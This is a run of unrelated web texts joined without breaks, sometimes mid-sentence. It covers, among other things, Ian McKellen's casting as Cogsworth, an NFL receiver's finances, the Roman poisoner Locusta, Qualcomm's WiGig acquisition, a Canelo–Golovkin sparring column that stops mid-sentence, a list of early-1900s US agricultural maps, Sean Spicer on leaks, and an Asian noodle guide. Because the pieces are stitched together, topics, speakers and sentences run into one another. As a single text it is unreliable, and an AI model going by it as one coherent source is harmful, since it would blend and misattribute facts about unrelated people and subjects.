McKellen will play Cogsworth, the Prince’s butler who is transformed into a clock. While the character doesn’t have any major musical numbers, he is part of the Be Our Guest showstopper.
The veteran actor is best known to modern audiences for playing Gandalf in The Lord of the Rings and The Hobbit movies as well as the evil mutant Magneto in the X-Men films. He can also be see currently onscreen playing an aging Sherlock Holmes in the indie Mr. Holmes.Ryan Broyles has lived on a modest $60,000 a year throughout his NFL career, preferring to stash the rest of his salary — which has been as high as $570,000 — in investments and retirement savings accounts.
But the wide receiver, who is now a free agent, wasn't always good with money.
When he entered the NFL draft five years ago, his credit report "was terrible," the athlete writes on The Players' Tribune. "I had late payments. Delinquent bills. Accounts in collections. It was bad."
It was Robert Kiyosaki's personal finance classic, "Rich Dad Poor Dad," that prompted him to make make some changes, including the way he pays his bills.
"When the Lions drafted me in the second round of the 2012 draft and I got my signing bonus, the first thing I did was pay down my debts and put my bills on autopay — the first steps to getting my credit right," says Broyles, who signed a $3.6 million rookie contract, $1.1 million of which was guaranteed.For the locust genus, see Migratory locust
"Locusta testing in Nero's presence the poison prepared for Britannicus", painting by Joseph-Noël Sylvestre, 1876
Locusta or Lucusta (d. 69), was a notorious maker of poisons in the 1st-century Roman Empire, active in the final two reigns of the Julio-Claudian dynasty. She supposedly took part in the assassinations of Claudius and Britannicus. She was a favourite of emperor Nero for several years, and Nero had her provide training to other poisoners in his service. Following Nero's death, Locusta was executed by his successor, Galba (reigned 68-69).
Primary sources [ edit ]
Locusta's career is described by the ancient historians Tacitus (Annals 12.66 and 13.15), Suetonius (Life of Nero, 33 and 47), and Cassius Dio (61.34 and 63.3). Juvenal also mentions Locusta in Book 1, line 71 of his Satires.[1]
Biography [ edit ]
Locusta was said to come from Gaul.[2]
Poisons expert [ edit ]
Locusta served as a poisons expert under empress Agrippina the Younger. In AD 54, already notorious and imprisoned on poisoning charges, Locusta was ordered by the empress Agrippina the Younger to supply a poison for the murder of her husband, Claudius. This was sprinkled on a mushroom and given to the emperor by his food-taster Halotus; when this poison appeared to be ineffectual, the doctor Gaius Stertinius Xenophon murdered Claudius with a poisoned feather ostensibly put down his throat to induce vomiting.[3]
She reportedly advised Agrippina to use Atropa belladonna as a poison. Extracts of atropa have been used for poisoning since antiquity, as the plant and its fruits contain tropane alkaloids (primarily hyoscyamine and scopolamine). Atropa-derived poisons were commonly used in ancient Roman murders, and previous empress Livia reportedly used them to murder her contemporaries. The effective doses of atropa needed to cause hallucinations for up to four days, and the ones needed to kill a person were described by a 1st-century writer, Pedanius Dioscorides. Dioscorides called the plant "strychnos manikos" or "thryon".[4] [5]
In AD 55, while still imprisoned, Locusta was called upon by Agrippina's son, the emperor Nero, to concoct a poison to murder Claudius' son Britannicus. When this poison was slow to work, Nero flogged Locusta with his own hand and threatened her with immediate execution, whereupon she supplied a quicker-acting poison that succeeded. Nero rewarded Locusta with a full pardon and large country estates where he sent pupils to learn her craft.[6] Before Nero fled Rome in AD 68, he acquired poison from Locusta for his own use and kept it in a golden box. He eventually died by other means.[7]
Execution [ edit ]
After Nero's suicide, Locusta was condemned to die by the emperor Galba during his brief reign, which ended 15 January AD 69. Along with Nero's favorites Helius, Patrobius, Narcissus and "others of the scum that had come to the surface in Nero's day", she was led in chains through the city and executed.[8]
Legacy [ edit ]
Juvenal refers to her in one of his Satires, describing a poisoner as even more skilled than Locusta.[9]
In the novel The Count of Monte Cristo (1844) by Alexandre Dumas, the poisoner Madame de Villefort is frequently compared to Locusta. Chapter 101 is entitled "Locusta".[10]
Locusta was one of the characters depicted in the historical film Humanity Through the Ages (1908) by director Georges Méliès.[11] The film was an episodic depiction of humanity's brutality throughout its history,[12] and the historic episodes depicted were chosen because they involved fratricide, murders, religious persecution, physical abuse and public humiliation, prisons and executions of prisoners, torture, and violent criminal subcultures.[11] The film is thought to be among the lost films from its era.[13]Qualcomm's latest acquisition has the potential to change the way we consume data on mobile devices. The chipset vendor announced yesterday that it has acquired Wilocity, a company specializing in advanced Wi-Fi technologies like the IEEE 802.11ad standard, which is referred to as WiGig.
WiGig works on the 60GHz band, which brings multi-gigabit speeds to mobile devices. In comparison, the Wi-Fi 802.11ac standard that is currently being implemented supports theoretical bandwidth of 1 Gbit/sec. Along with much greater bandwidth, WiGig brings better power efficiency and significant capacity improvements.
Qualcomm is set to begin integrating this standard into its upcoming hardware, and has mentioned that that the Snapdragon 810 would be the first SoC to feature tri-band connectivity, which includes the traditional 2.4GHz and 5GHz bands along with the 60GHz WiGig frequency band. Qualcomm says that by integration the 60GHz band, users will have the ability to undertake high capacity tasks like 4K video streaming, peer-to-peer content sharing, networking, wireless docking, and backing up entire media libraries in seconds.
With the WiGig standard, Qualcomm is pushing for near-instantaneous connection to the cloud via Wi-Fi and mentions that such a technology would serve to offload cellular traffic data in the near future. The move to integrate the 60 Ghz band ahead of other vendors like MediaTek, Samsung, Intel, Broadcom and others is sure to give Qualcomm a noticeable headstart, as other vendors are still looking to inculcate the 5 GHz band into their SoCs.
To know more about the technology, check out WiGig's official page that details the standard at Wi-Fi.org. As to when we'll see this technology in consumer devices, Qualcomm has previously said the first Snapdragon 810 products are expected to ship mid-2015.
Source: QualcommEast Lansing ranks as No. 2 in 'Happiest Small Places in America'
East Lansing and Royal Oak ranked in ‘10 Happiest Small Places in America.’
A list was created by Movoto Real Estate for the top ten small cities that present people with the best places to live. Some of the factors that were acknowledged for this ranking were a small amount of violence, residents with bachelor's degree or higher, walkability and cost of living.
Coming in at No. 2 was MSU’s hometown, East Lansing. Known as a college town, the list raves about the city’s important factors.
Home ownership and marriages were the top reasons why East Lansing is a great city to live in. Also, the crime and stress rate were ranked significantly low.
Royal Oak was ranked 8th in the list for having a greater increase in education. About 64 percent of the population has at least a bachelor’s degree. Royal Oak is also a main stop for sightseeing, including the Detroit Zoo.
Other cities in the top ten were Normal, IL, Blacksburg, VA and Stillwater, OK.Adding organic trace minerals to animal diets has to be done carefully. This is what professor Josef Kamphues from the University of Veterinary Medicine Hanover said at the minerals forum, organised by Novus during EuroTier.
The minerals forum was organised to celebrate the 10 year anniversary of Mintrex, the chelated trace mineral range from Novus. Prof. Kamphues was invited to the meeting to explain the current issues with supplementing trace minerals and questioned if we are giving the animals enough of them?
According to Kamphues, it is important to have the adequate supplementation of trace minerals. "There are differences regarding the effects within animals or products that are related to the source (organic or inorganic) of trace elements. Trace elements have to be dosed carefully, as a lot of scientific literature indicates the toxic capacity of some elements," he said. He named algae powder as an example. At the same time, he mentioned that trace element supply exceeding 'normal' requirements may result in marked positive effects (benefits) for the animals' health.
On top of the effects of trace minerals supplementation across species, Prof. Kamphues also covered the differences between trace elements (organic or inorganic) in terms of digestibility, absorption and bioavailability. Kamphues: "Trace elements bound to amino acids can result in elevated trace element absorption and accumulation in body tissues (muscles) and/or products (eggs and milk)."A 20-year-old Canelo Alvarez held his own with the 28-year-old Olympic medalist Gennady Golovkin when the two unbeaten newly crowned titleholders sparred in Big Bear, Calif., in May 2011. Photo / Scott Kilbride
Editor’s note: Before you skip my wonderfully written introduction to this old Gym Notes column (originally published on RingTV.com in May 2011) to read the details of the sparring session I witnessed between Canelo Alvarez and Gennady Golovkin please keep three things in mind:
This was just ONE session of many that took place over a three-to-four week period, so other eye-witness accounts will obviously vary. I didn’t write it for the fanatical followers of both fighters to use as fodder for their endless, mindless, often rude and vulgar arguments in social media and comments sections. This column (originally titled “Gym Notes: Alvarez, Golovkin worth driving up a mountain to see”) merely recounted my first live “look” at an underground “boogeyman” of the Southern California gym scene and the first time I watched Canelo train and spar. The sparring session was NOT a big deal at the time the Gym Notes was published. Yeah, both fighters were unbeaten beltholders but Golovkin was still unknown (to an American audience) and Alvarez was still unproven. Nobody that bothered to comment under the original article said anything to the tune of “Wow! I can’t wait for these two to fight one day!”
So clear your minds of all the current media-hype momentum (and hardcore-fan baggage) that Canelo-Golovkin currently has.
This was written before Golovkin was “GGG.” This was before his September 2012 U.S. and HBO debut against Grzegorz Proksa, before the “Good Boy,” “Mexican Style,” and “Big Drama Show” catchphrases caught fire, before the sellouts at StubHub Center, The Forum, Madison Square Garden and O2 Arena in London, and long before Apple Watch and Jordan Brand knew who Golovkin was.
This was written when “Canelo” was still Saul Alvarez’s nickname. This was before his 21st birthday, before pay-per-view fights with future hall of famers Shane Mosley, Floyd Mayweather Jr., and Miguel Cotto, and before stadium crowds between 30,000-50,000 in Texas firmly established Alvarez as not only Mexico’s No. 1 star, but the top boxing attraction in North America.
Now that Canelo and GGG have established worldwide brands and their Sept. 16 showdown is viewed as the biggest event in boxing, it’s time to look back six years in order to really put into perspective how far both men have come.
(Special thanks to RingTV’s intrepid videographer Daniel Morales for helping me recover old video and photos taken by Scott Kilbride the day of this particular gym visit. And extra special thanks to Max Kellerman for mentioning my name in reference to this blog while interviewing Oscar De La Hoya on the May 9 episode of ESPN’s First Take. That name drop prompted boxing fans on Twitter to ask |
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Map shows land routes taken by famous explorers across North America.
Presidential Election of 1912, 1912
A map showing the presidential election results of 1912.
Map of the United States, 1913
A 1913 map of
Vote on Underwood Tariff, 1913
A map showing the vote in the House of Representatives on the Underwood Tariff in 1913.
Army Camps in the United States, 1914-1919
A map showing Army camps in the United States during World War 1.
Crop Growing Season, 1916
A 1916 map showing the average length of the crop-growing season in the United States.
Average Annual Rainfall, 1916
A 1916 map showing the average annual rainfall in the United States.
Railroads of the United States, 1916
A map showing the railroad networks in the United States in 1916.
Coal Fields of the United States, 1916
A map showing the coal fields of the United States in 1916.
Petroleum and Natural Gas Fields, 1916
A map of petroleum and natural gas fields in the United States in 1916.
Tobacco Producing Regions, 1916
A map of the tobacco-producing regions of the United States in 1916.
Flood Stations, 1916
A map showing the cities where the government maintained flood stations in 1916.
Sugarcane and Sugarbeet Production, 1916
A map of the United States, showing the production of sugar cane and sugar beets in 1916.
Wheat Production in the United States, 1916, 1916
A map of the wheat producing region of the United States in 1916.
Corn-producing Regions of the United States, 1916
A map showing the corn producing regions of the United States in 1916.
Swine Production, 1916, 1916
A map showing the swine producing regions of the United States in 1916.
Distribution of Cattle, 1916
A map showing the distribution of cows throughout the United States in 1916.
Distribution of Dairy Cows, 1916, 1916
A 1916 map of the United States showing the distribution of
National Forests and Parks, 1916
A 1916 map showing the location of forests and national parks in the United States.
Distribution of Sheep, 1916
A map showing the distribution of sheep in the United States.
Receipts of Hogs at Public Stockyards, 1916-1921
Map showing 21 largest swine markets ranked by annual receipts of hogs at public stockyards from 1916-1921.
Live Stock Loadings by States of Origin, 1918
Map showing the number of livestock loadings by state of origin in 1918. "In 1918 Iowa led in number of hogs loaded, with 144,105 cars; Illinois was second with 85,162 cars; Nebraska third with 61,489 cars; Indiana fourth with 46,362 cars, and Missouri fifth with 45,860 cars. Iowa loaded more than 25 per cent of all the hogs shipped during that year, whereas Missouri which was the fifth, loaded 8 per cent of the total."—United States Department of Agriculture Yearbook 1922, 1923
Hogs Slaughtered on Farms, 1919
Map showing the number of hogs slaughtered on farms in 1919.
Milk Sold from Farms, 1919, 1919
Map showing the number of gallons of milk sold from farms in 1919 by state. "The amount of milk sold from farms, as in 1899 and 1909, is concentrated north of the Ohio and east of the Mississippi rivers. The major portion of the whole milk sold from farms is for direct urban consumption or for manufacture in cheese factories and condensaries."—United States Department of Agriculture Yearbook 1922, 1923
Value of Dairy Products, 1919, 1919
Map showing the dollar value of dairy products in 1919 by state. "This map presents a striking contrast to the map for 1839. The value of the dairy products of the Rocky Mountain States in 1919 was greater than that of the United States in 1839. Prices were much inflated in 1919, $50,000 being equivalent to about $28,400 in 1839, which makes the difference appear greater than it actually is. The following maps will show steps in the changes between 1839 and 1919."—United States Department of Agriculture Yearbook 1922, 1923
Butter Made on Farms, 1919, 1919
A map showing butter production on farms by state in 1919.
Receipts from Sale of Dairy Products, 1919
A map showing the receipts from the sale of dairy products in 1919 by state.
Legnuminous Hay Production, 1919, 1919
A map showing leguminous hay production in 1919. "Leguminous hays are splendid feed for dairy animals, and where they can be grown successfully are rpeplacing other hays. West of the Missouri River the leguminous hay is almost wholly alfalfa, east of the Missouri and north of the Cotton Belt it is mostly timothy and clover mixed and clover alone. Clover includes red, alsike, and crimson clover and several other legumes of less importance. The scattered dots in the Cotton Belt represent mostly cowpeas and soybeans cut for hay, and lespedeza."—United States Department of Agriculture Yearbook 1922, 1923
Tobacco Production, 1919, 1919
A map showing centers of production of tobacco in the United States in 1919.
Forest Planting Regions in the United States, 1919
A map showing forest planting regions of the United States. The unshaded areas are treeless except along the streams.
United States in 1919, 1919
A map showing the United States and its territories in 1919.
The Presidential Election of 1916, 1919
A map showing the presidential election of 1916.
The United States, 1919
A map showing the continental United States in 1919.
Territorial Gains of the United States, 1919
A map showing the territorial gains of the United States up to 1919.
Increasing Distance from Lumber Producers to Lumber Consumers, 1920
Map showing the increasing distance lumber had to travel to go from the production areas in the South and West to the consumption areas in the East.
United States Production of Hogs, 1920
Map showing the numbers and location of hogs produced in the United States in 1920. "Between 1910 and 1920 the number of hogs continued to increase in the Dakotas, but decreased notably in Kansas and Oklahoma, where war-time prices for wheat had caused it to supplant much of corn. In the western States, especially California, the number had increased; also in Alabama, Georgia, and the Carolinas."—United States Department of Agriculture Yearbook, 1923
Milch Cow Distribution, 1920, 1920
Map showing the distribution of Milch Cows in the United States in 1920. "In number of cows Wisconsin took first rank among the dairy States in 1920; Minnesota was third, New York being second. Some of the eastern States continued to reduce. What may be called the dairy belt extends from the coast north of Maryland and north of the Corn Belt west to the semi-arid Great Plains. The eastern part of this belt suffers from competition with the West where feed is more abundant and cheaper."—United States Department of Agriculture Yearbook 1922, 1923
Average Number of Dairy Cows per Farm, 1920
A map showing the average number of dairy cows per farm by state in 1920.
Pure Bred Dairy Bulls, 1920, 1920
A map showing the percentage of bulls per state that were pure bred dairy bulls in 1920.
United States, 1920
The United States of America.
Pure Bred Hogs, January 1, 1920
Map showing the percentage of hogs on farms that were registered as pure bred as of January 1, 1920.
Dairy Cattle, January 1, 1920
A map showing the distribution of dairy cattle by state on January 1, 1920.
Pure Bred Dairy Cattle, 1920, January 1, 1920
A map showing the number of pure bred dairy cattle in each state on January 1, 1920.
Number of Pure Bred Dairy Cattle by Breeds and States, January 1, 1920
A map showing the number of pure bred dairy cattle by breeds and states on January 1, 1920.
Cheese Made in Factories, 1921, 1921
Map showing factory-produced cheese production by state in 1921. "Practically all the cheese is now made in factories, only 6,000,000 pounds in 1919, or less than 2 per cent of the total production of the United States, being made on farms. Abbout two-thirds of the cheese is made in Wisconsin, and half of the remainder in New York. Cheese production has developed in those parts of Wisconsin and New York having less than 150 days in the growing season, except along the lake shores, and in the central, sandy portion of Wisconsin, which has poor pastures. The short, cool season favors summer pasture and cheese production, just as silage, winter dairying, butter making, skim milk, hogs, and corn complete the economic cycle in the warmer belt to the South."—United States Department of Agriculture Yearbook 1922, 1923
Butter Made in Factories, 1921, 1921
A map showing butter production in factories by state in 1921.
Organized Protection Against Forest Fires, 1922
Map showing the funds dedicated to forest fire prevention compared to the funds needed to adequately protect forest land.
Cattle Tick Quarantine Area in the South, 1922
A map showing zones of quarantine for infestation with cattle ticks and areas released from this quarantine in the South in 1922.Bruno Senna's stock fell in Korea, mere weeks before Renault is due to decide its driver lineup for 2012.
Bruno Senna, Lotus Renault GP Photo by: xpb.cc
The Brazilian, who replaced Nick Heidfeld five races ago, had a horror weekend in Korea, qualifying seven places behind Vitaly Petrov and finishing just in front of a Lotus.
With three races to go this season, the team's fifth place in the constructors' championship is probably safe, given the 23 point advantage over Force India.
But looking ahead to 2012, with Petrov, Romain Grosjean, Rubens Barrichello and of course Robert Kubica all also in the running for the seats, Senna's Korean performance was bad news for the 28-year-old.
In his five races since replacing Heidfeld, he has scored points (2) only at Monza.
Bruno's 13th position doesn't pay justice to the pace of the car Ricardo Penteado
And "Bruno's 13th position (in Korea) doesn't pay justice to the pace of the car", said Renault engineer Ricardo Penteado in Korea.
An unnamed team official, meanwhile, told Germany's Speed Week publication: "We need to analyse why Bruno Senna did not come up to speed."Sark, a British Channel Island has been designated the first international "dark sky community" by the US-based International Dark-Sky Association.
Dark sky enthusiasts are concerned with light pollution so that people can see stars better, and to cut down on energy usage.
On Monday, the group said that this tiny, carless, 5.45 square kilometer (two square mile) island with a population of just 600 people is a perfect location from which to observe astronomical phenomena.
The island has no public lighting, and the IDSA says that "a rich Milky Way is visible" from the island.
"Sark becoming the world's first dark sky island is a tremendous feather in our environmental cap, which can only enhance our appeal," said Paul Williams, chairman of the Sark government's agricultural committee, in an interview with the Agence France Presse.
Sark is a small island off the coast of Normandy in northern France
Praise from astronomy experts
British astronomers were also quick to praise this decision.
"This is a great achievement for Sark," the president of the Royal Astronomical Society, Roger Davies, said in a statement.
"People around the world are become increasingly fascinated by astronomy as we discover more about our universe, and the creation of the world's first dark sky island in the British Isles can only help to increase that appetite. I hope this leads to many more people experiencing the wonders of a truly dark sky."
Author: Cyrus Farivar (AFP)
Editor: Mark HallamThe reporters hustle into their post-practice seats to hang on every word spoken by quarterback Nick Foles, by running back LeSean McCoy and by defensive stalwarts like linebacker DeMeco Ryans. A few scribes linger and pick off players walking off the field to chat for a few moments before the players head to the locker rooms to shower, change clothes and grab some lunch before they finish the rest of their days during these Organized Team Activities.
Some of the players walk past the tape recorders unimpeded almost on a daily basis. Some of the ones who pass through unnoticed, though, could play big roles for the Eagles in 2014. Let's have a look at Some Of The Eagles Players You May Not Know...
Matt Tobin, offensive tackle
Keep an eye on this offensive line prospect. Matt Tobin walked on at Iowa and then became a staple on the Hawkeyes' offensive line, starting the final 22 games of his collegiate career at left guard and left tackle. At 6 feet 6 and 303 pounds, Tobin has the requisite size to play tackle in the NFL. He's made a point to study the movements and the habits of All-Pro left tackle Jason Peters, and Tobin has made some nice strides, even if we haven't seen him in a game situation.
The Eagles signed Tobin after the 2013 draft and he spent the season in the shadows, learning the game, absorbing the NFL. As the Eagles develop some depth along the offensive line, Tobin could emerge as a key figure. He's athletic and he's got fine feet and technique. When the Eagles are in the second and third quarters of their preseason games, Tobin's play is going to be a focal point.
Matthew Tucker, running back
There is a ton of talent at running back for this football team. LeSean McCoy and Darren Sproles are two of the most versatile players in the league. Chris Polk improves every day and is a power runner with some nimble feet.
Matthew Tucker?
He's here for a reason. And the reason is that he has explosiveness and is a physical back who can run and catch the football. Tucker has to play very well to make this team, and his touches are going to be non-existent if all goes according to plan - McCoy and Sproles will dominate the touches - but the Eagles want to keep a young, young back in the mix to develop and Tucker and Polk fit that description.
Tucker will get his carries in the preseason. We'll have a good sense of what he's all about then.
Brad Smith, wide receiver
You know about him, of course, because Brad Smith is a veteran in this league and because he's made a name for himself as a "Wildcat" kind of player. He's lined up at quarterback, at running back and at wide receiver in his career, and he's also been one of the premier special teams players in the NFL.
Smith, in fact, led the Eagles in special teams tackles after he signed with the team in November last season, and he's got a chance to be part of the core group here for this season.
How would head coach Chip Kelly use Smith in the offense now that Smith has the basics of the scheme down? The wide receivers don't have much veteran experience behind projected starters Jeremy Maclin and Riley Cooper, so perhaps Smith fits in well there.
Travis Long, linebacker
Travis Long was on his way to likely being drafted until he tore up his knee late in his senior season at Washington State, so he's got to make the NFL the hard way. Long signed with the Eagles last summer and then stayed on the practice squad all season.
He looks the part, that's for sure. Long is 6 feet 4 and 255 pounds. He's loooooong (pun intended). He runs well. He looks like he wants to be a physical player.
The preseason will tell the story on Long, who is fighting for an outside linebacker job here.
Allen Barbre, offensive guard/tackle
The guy has played six seasons in the NFL and we don't know how to pronounce his name. Is it Allen Bar-brey? Or is it Allen Bar-bur? (Barbre pronounces it Bar-bur, but that doesn't stop the masses from mispronouncing...)
Anyway, Barbre is a veteran presence who played in 15 games last season and provides some real, quality depth for the offensive line. He's a tough guy who has adapted very nicely to offensive line coach Jeff Stoutland's teachings. Barbre is likely the first player off the bench for the Eagles if they need a sub up front, and he's proven to be reliable. The coaches trust him.
Even if nobody knows for sure whether it's Bar-brey or Bar-bur. I'm going with the latter until further notice.Starting your own business is an exciting time. You are finally fulfilling a dream and are now your own boss. While it is a thrilling prospect to own and operate your own business, there are some important things to keep in mind come tax time to avoid headaches or penalties.
I am often asked, said Mr. Riaz Mamdani, what kind of advice do you have in beginning a new company?
I strongly advise first time business owners to sit down with a financial planner so they can truly understand the basic elements of business financing. Learning key business terms is a major step in gaining this kind of understanding. I would particularly like to emphasize just how crucial it is that business owners and entrepreneurs know what Net Operating Income (or NOI) and Net Income are, and most importantly, the difference between these two terms.
In my mind, Net Operating Income and Net Income are two of the most important concepts associated with running a business. Net Operating Income refers to the income a business generates after operating expenses have been deducted, but before deducting income taxes and financing expenses. Operating expenses include rent, cost of materials, utilities, shipping and employee wages.
Net Income, on the other hand, refers to the amount of profit that remains after accounting for all expenditures, including expenditures like cost of materials, rent, utilities, shipping and wages, as well as taxes, interest paid, investment income, secondary operational income and payments made for one-time events such as lawsuits, are all considered expenditures.
Investopedia points out an interesting and I think worthwhile note: “Because both figures are subject to manipulation, such as hiding expenses to make a company appear more profitable, it is important to know how each type is calculated. When assessing a company’s viability as an investment, knowing how to calculate net income is infinitely preferable to simply reading the bottom line.”
A business’ Net Operating Income and Net Income figures are absolutely critical company data. In the event a business performs extremely well and a business owner begins to pursue investors, these outside investors will scrutinize profit and loss statements and a business’ entire balance sheet. Invalid or inaccurate data or inaccurate accounting will discourage outside investment. That means that a business owner needs to understand how much profit their business is earning each year, discounting all forms of expenditures.
A business’ Net Operating Income and Net Income not only prove a company’s worth, these are figures that help gauge what a business needs to do to be more profitable and exactly how ambitious it can be financially.
An example of why understanding the difference between Net Operating Income and Net Income can sometimes be complicated. If a business owner uses a bank loan to help finance the business, the interest from these loans is considered an expense and reduces the company’s Net Income. Many first time business owners make the mistake of deducting such payments from the Net Operating Income instead of their business’ Net Income, which affects the bottom line and can cost a business profits.
It’s one more reason why in my opinion it is imperative that business owners have at least a basic understanding of business finance.At the White House, Sean Spicer, the press secretary, returned to the subject of leaks again and again during his daily briefing for reporters, echoing the Republican lawmakers from the presidential podium.
Mr. Spicer railed against the “illegal leak” of the names of some of Mr. Trump’s associates under investigation. And he insisted that news organizations are refusing to cover the real story from Monday’s hearing: the need for the federal government to stop national security leaks.
Mr. Spicer also evaded questions about Mr. Trump’s associates by repeatedly returning to what he said were Hillary Clinton’s ties to Russia, even though Mrs. Clinton’s presidential campaign was hurt by Russian operatives’ hacking.
Mr. Spicer accused journalists of ignoring stories alleging that the Democratic National Committee had not provided the F.B.I. access to its hacked servers, a claim Democratic officials deny. Mr. Comey said Monday that the investigators got the information they needed to investigate the hack.
“Why? What were they hiding? What were they concerned of?” Mr. Spicer said. In confusing, rapid-fire fashion, Mr. Spicer noted accusations about “donations that the Clintons received from Russians” and decisions by Mrs. Clinton to sell “tremendous amounts of uranium” to Russia.
“Where’s the concern about their efforts on the Hillary Clinton thing?” Mr. Spicer said.
Demands for leak investigations are nothing new in Washington, where the targets of critical stories — regardless of party — are often quick to try to expose the sources of those reports. Mr. Obama’s White House was particularly aggressive in seeking the source of leaks, prosecuting more whistle-blowers than all his predecessors combined.
Mr. Trump, by contrast, appears to have had a significant change of heart regarding leaks since he won the presidential election. During the campaign, Mr. Trump frequently praised WikiLeaks, the website that investigators believe was used by Russian operatives to leak emails from the D.N.C. and Mrs. Clinton’s campaign chairman. At one rally in Pennsylvania, Mr. Trump declared, “I love WikiLeaks!”A guide for how to shop for, cook, and use the wide variety of Asian noodles available at large grocery stores and specialty markets.
The world of Asian noodles is vast. Walk into any Asian market and you'll see aisles of noodles, each of different shapes, lengths, and textures. Noodles in Asia are more than a food—they're an essential part of culture with a 4,000 year history. Even the noodles' length has significance—they are often symbols of longevity in celebratory meals.
For the amateur noodle shopper, parsing through a grocery's many noodle options can be mindboggling. Similar styles of noodles come packaged both soft and dried from China, Taiwan, and throughout South East Asia. The number of varieties alone are overwhelming, heightened by the absence of any standardized noodle nomenclature, language, or even common classification. This makes it difficult to know which noodles are which, and how to choose between them. So here's a guide to help you identify some of the most common noodles available in Asian groceries in the U.S.
Asian Noodles vs. Italian Pasta
Though some varieties look similar, Asian noodles and Italian pasta have some important differences. Most pasta is designed to be cooked to the same al dente texture, but Asian noodles are different. Some are soft; others have a firm bite. Some are chewy; others, like ramen, have a more springy resistance to the teeth.
Asian noodles can be made with rice, yam, and mung bean in addition to wheat flour, and even that wheat is a different variety than the durum wheat used in pasta. All of these differences in texture and flavor mean you usually can't substitute an Italian pasta for an Asian noodle.
Finding Your Noodles
Most Asian markets group noodles by nationality: soba near udon and lo mein near misua. So think about the origins of the dish you plan to make, then seek out the corresponding country. But don't overthink it: many noodles are used in multiple cuisines, so you'll see repeats under different names. And remember, the hunt is half the fun!
Storing Your Noodles
Most noodles in markets are sold dried, and they'll sit fine in a cool, dry place, though they can grow stale after a few months or so. Fresh noodles, such as Chinese egg or soft rice noodles, should be kept in their original packaging and refrigerated for no longer than a few days or a week, tops. (Though they're best fresh made on the same day if you can find them.)
Cooking Your Noodles
As with Italian pasta, you don't want to overcook your noodles. Depending on thickness, soft wheat noodles rarely take more than three to five minutes to cook. Dried versions will take a little longer, but par-cooked noodles, like chow mein, only need reheating in a pot or pan.
Rice noodles cook even faster than wheat—they soften in less than a minute in boiling water. Mung bean and yam noodles also cook lightning fast, and you may not even need boiling water to cook them—hot water should be fine.
Wheat Noodles
The broadest category of noodles, wheat noodles are made with some form of wheat flour, water, and sometimes egg, salt or other additives, such as lye-water (alkaline). Wheat-based noodles are loosely referred to in Chinese cookery as "mien" (though there are many different names depending on language and dialect throughout Asia). Despite their common ingredients they vary in taste, texture and, most importantly, jiao jing, or "chew power" in Mandarin.
Lo Mein
Soft noodles you can sink your teeth into, turned yellow by an alkaline salt added to the dough. Heavy, robust sauces cling to the thick noodles, which are well-suited for big, chunky ingredients like beef and vegetables.
Also called: Lao miàn, lo mi.
Shape: Sold both fresh and dried. The noodles are round and long, over a foot in length. They look like thick Italian spaghetti but with a more yellow hue.
Texture: The fat, dense noodles have a soft, almost doughy texture when cooked.
How they're used: These are the common noodles in your neighborhood Chinese restaurant dishes, where they're often doused or mixed with thick sauces and chunky ingredients. The noodles take well to heat and extended cooking while still tasting fresh.
Recipes: Stir-Fried Lo Mein With Beef and Broccoli; Stir-Fried Lo Mein With Charred Cabbage, Shiitake, and Chives; Easy Cold Sesame Noodles With Shredded Chicken
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Yaka Mien
Westernized Chinese wheat noodles sometimes called "Chinese spaghetti." These were developed the United States (some claim in New Orleans) by Cantonese immigrants as a good noodle for soups. The machine-made wheat and egg noodles are fat and dense, similar to lo mein, only thicker and chewier. They're common in local neighborhood Chinese take-out joints and are commonly thought of as a good morning-after hangover cure.
Also called: Yat ca mien, yet ca mien.
Shape: Sold both soft or dry. The noodles are round with a similar thickness to thick spaghetti or udon, and are 10 to 12 inches long.
Texture: Cooks to a yellow color with a dense and doughy noodle bite.
How they're used: Most traditionally used in noodle soups with sliced beef, egg and vegetables.
Recipes: Taiwanese Beef Noodle Soup
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La Mien
Though it sounds similar to lo mein, la mien is a different noodle, traditionally sold soft and fresh, though mass-produced versions are available dried. The best are made by hand: a noodle-maker slaps, stretches, and twists a lump of dough into long strands that signify prosperity and longevity.
Also called: La mian, hand-pulled noodles, longevity noodles, yellow mee (if made with egg), hokkien mee.
Shape: The round, moderately thick noodles are usually sold soft, though sometimes also dried. They are very long—they can reach two feet or longer—and the longer the noodle, the more auspicious the symbolism. The exact thickness depends on the skill and intentions of the noodle-maker.
Texture: Chewy, dense and a little slippery with a slightly porous surface that absorbs some sauce.
How they're used: Boiled and added to soup or tossed with stir fries.
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Misua
These noodles are thin like vermicelli, which means they tend to form a large mass that is used to bind other ingredients in a dish together.
Also called: Mee sua, miàn xiàn, mein sin, gong miàn.
Shape: Usually sold dried. The noodles are round and very thin, like angel hair, but pale yellow. Usually 10 inches or longer.
Texture: Chewy but delicate due to their thin diameter. These noodles hold sauces well.
How they're used: Boil them to soften, then stir fry quickly with light ingredients like shrimp and vegetables. They brown easily and are perfect for picking up smoky wok hei flavor.
Recipes: Taiwanese Pan-Fried Rice Noodles (wheat noodles work well in this recipe)
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Chow Mein
Unlike lo mein ("lo" implies boiling in Chinese), chow mein come to the table crispy ("chow" refers to frying). These noodles are used in fried dishes where they are meant to retain a satisfying firmness or crunch.
Also called: Jau mein, chu miàn, Hong Kong-style pan-fried noodles.
Shape: Usually sold parboiled so they can be tossed right in the wok from the bag. They're thin and round, about double the thickness of vermicelli.
Texture: Becasue they are usually stir fried in dishes they offer at least some crispy firmness when cooked, but with soft, chewy spots. Often cooked to a hard, crunchy texture.
How they're used: You can pan—or deep—fry these noodles without boiling them first. They're popular in stir-fried noodles dishes when a firm or crispy noodle texture is desired. They can also be deep fried into a "bed" of crunchy noodles for Cantonese dishes.
Recipes: Stir Fried Chow Mein With Four Vegetables; Crispy Pan-Fried Noodle Cakes With Seafood
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Mee Pok
Firm, slender flat noodles used in stir frying or soups. Whether sold dry or soft, the noodles have a loose flour powder coating that is shaken off before blanching. Their width helps sauce cling on, delivering plenty of flavor and a soft, rich texture with every bite.
Also called: Miàn bao.
Shape: Skinny and flat, about 1/4 inch wide and about 10 inches long. When soft they are often longer but cut down to the desired length.
Texture: Slippery, springy, firm, and chewy.
How they're used: These are commonly used in dishes doused with sauce or quickly stir fried. The noodles are cooked to a springy, al dente firmness and commonly mixed with sauces and fishball (as in mee pok) or meat and veg (bak chor mee).
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Wonton Noodles
Made from the same dough as wonton skins, these noodles are usually sold fresh in the refrigerated section. They come in a variety of widths, but all work well in wonton noodle soup.
Also called: Yun-tun mian; wan-tan min, wonton mee.
Shape: There are two main varieties: round, similar to a thin spaghetti; and flat, similar to linguini. Each shape is about a foot long.
Texture: Soft, springy, and tender.
How they're used: Commonly cooked into soups and stir fried with with a bit of stock, as in Singaporean hokkien mee.
